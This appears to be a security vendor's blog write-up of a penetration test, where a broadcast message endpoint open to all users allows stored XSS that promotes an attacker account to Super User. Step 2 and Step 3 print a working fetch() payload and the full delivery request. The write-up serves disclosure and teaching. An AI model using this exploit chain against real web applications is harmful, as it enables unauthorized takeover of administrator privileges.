Unlocking admin privileges via application-wide XSS delivery  

During a recent customer assessment, our pen testers discovered a critical vulnerability that exemplifies the importance of manual and continuous pen testing. The issue involved a feature intended for administrators, allowing them to send messages to a “broadcast” endpoint, which would then be displayed in a modal pop-up box for all logged-in users of the web application. 

However, our pen testers found that this functionality was accessible to any user, regardless of their role. This posed a significant security risk as it allowed unauthorized users to send messages to all users of the application. 

To make matters worse, the user-supplied input for the broadcast messages was not properly sanitized, leaving the application vulnerable to cross-site scripting (XSS) attacks. Exploiting this flaw, a low-privileged user could send a crafted JavaScript payload through the broadcasting endpoint, effectively escalating their privileges to that of an administrator. 

XSS exploit chain 

The lack of input filtering in the broadcast message functionality exposed a significant vulnerability, allowing our hypothetical “attacker” to execute arbitrary JavaScript code in the browsers of any logged-in users. To demonstrate the full impact of this vulnerability, our manual testers carefully devised a plan to craft a proof-of-concept exploit: 

  1. Identify an endpoint within the application that could be manipulated to benefit the “attacker” without requiring any additional input from the “victim” administrator. 
  1. Write a simple JavaScript fetch() function call that would trigger the request to the identified endpoint. 
  1. Craft a seemingly harmless message that would be received by the user, but cleverly embedded the malicious JavaScript code within it. 

By following this plan, our testers were able to showcase the potential consequences of the vulnerability, demonstrating how an attacker could exploit the lack of input filtering to execute arbitrary code within the browsers of unsuspecting users.  

Step 1 – Identifying an endpoint 

Fortunately, the customer provided us with both an admin and regular user account for the test, allowing us to log in as an administrator and search for a suitable endpoint. After thorough investigation, we identified the “/Account/Edit” functionality as a promising endpoint for our goal of privilege escalation. 

The “/Account/Edit” endpoint accepted POST requests with various parameters, including “username”, “email”, and first/last names. However, what caught our attention was the “roles” parameter, which allowed modification of the user’s role. This parameter presented an intriguing opportunity for our exploit. 

To perform the privilege escalation, we constructed a request from the administrative account, setting the “roles” parameter to the value of “super user” and filling out the remaining parameters with the information of our “attacker” account. Remarkably, this endpoint did not require any additional input from the administrator, such as a password confirmation, which itself poses a security issue. 

Step 2 – Construct a payload 

Now that we have a plan to exploit the vulnerable broadcast endpoint, the next step is to craft JavaScript code that will send a POST request to the “/Account/Edit” endpoint and change the role of our “attacker” user to “Super User” when executed through the XSS vulnerability. 

<span role="button" tabindex="0" data-code="<script> fetch('https://redacted.com/Account/Edit', { 'method': 'POST', 'credentials': 'include', 'headers': { 'Content-Type': 'application/x-www-form-urlencoded' }, 'body': 'UserName=swatuser1&Email=swatuser1@outpost24.com&IsApproved=true&Roles=Super+User&Profile.UserName=swatuser1&Profile.FirstName=SWAT&Profile.LastName=USER1&UserID=3765787' });
<script>
fetch('https://redacted.com/Account/Edit', {
 'method': 'POST',
  'credentials': 'include',
  'headers': {
  'Content-Type': 'application/x-www-form-urlencoded'
  },
  'body': 'UserName=swatuser1&Email=swatuser1@outpost24.com&IsApproved=true&Roles=Super+User&Profile.UserName=swatuser1&Profile.FirstName=SWAT&Profile.LastName=USER1&UserID=3765787'
  });
 </script>

All that is left to do now is to include the script in a broadcast message and hope that an administrator is logged in to the application. 

Step 3 – Delivery 

The vulnerable broadcast endpoint was found at “/signalr/send” within the application. It accepted JSON-encoded input in the “data” parameter, which was then broadcasted to all currently logged-in users of the application. The final request looked similar to the redacted version below: 

<span role="button" tabindex="0" data-code="POST /signalr/send?Token={token_value}&connectionData=%5B%7B%22name%22%3A%22messagehub%22%7D%5D HTTP/1.1 Host: redacted.com Cookie: {session_cookie}={cookie_value} Content-Type: application/x-www-form-urlencoded Content-Length: 469 data={"H":"messagehub","M":"Broadcast","A":[{"MessageType":"Notice","Message":"swatuser1 is now Super User<script>fetch('https://redacted.com/Account/Edit', {'method': 'POST', 'credentials': 'include', 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, 'body': 'UserName=swatuser1&Email=swatuser1@outpost24.com&IsApproved=true&Roles=Super User&Profile.UserName=swatuser1&Profile.FirstName=SWAT&Profile.LastName=USER1&UserID=3765787'});
POST /signalr/send?Token={token_value}&connectionData=%5B%7B%22name%22%3A%22messagehub%22%7D%5D HTTP/1.1
Host: redacted.com
Cookie: {session_cookie}={cookie_value}
Content-Type: application/x-www-form-urlencoded
Content-Length: 469
data={"H":"messagehub","M":"Broadcast","A":[{"MessageType":"Notice","Message":"swatuser1 is now Super User<script>fetch('https://redacted.com/Account/Edit', {'method': 'POST', 'credentials': 'include', 'headers': {'Content-Type': 'application/x-www-form-urlencoded'}, 'body': 'UserName=swatuser1&Email=swatuser1@outpost24.com&IsApproved=true&Roles=Super User&Profile.UserName=swatuser1&Profile.FirstName=SWAT&Profile.LastName=USER1&UserID=3765787'});</script>"}],"I":2}

Impact and mitigation  

If an administrator is logged in when the XSS payload is sent, our “attacker” account will be immediately promoted to the “Super User” role as soon as the malicious JavaScript is received and executed in the admin’s browser. This grants us complete control over the web app. Even if an admin is not logged in at the time, we can continue sending the XSS payload to the vulnerable endpoint until an administrator eventually logs in, unknowingly escalating our privileges. 

This scenario highlights the potential consequences of combining a seemingly harmless security flaw, where a lower privilege user can send application-wide messages with an XSS vulnerability. The impact can be disastrous, as it allows unauthorized users to gain complete control over the web application. 

Addressing and mitigating vulnerabilities in web applications requires comprehensive security testing. Outpost24’s Pen Testing as a Service (PTaaS) solution provides the necessary expertise and tools to ensure a thorough approach to web application security testing. Our highly skilled pen testers go beyond automated scanners to uncover vulnerabilities that are routinely missed.  

Enhance your security posture with Outpost24’s PTaaS solution

About the Author

Peter Kantomaa Application Security Auditor , Outpost24

Peter is an Application Security Auditor at Outpost24. He has spent several years honing his skills in CTFs, and similar security-related challenges.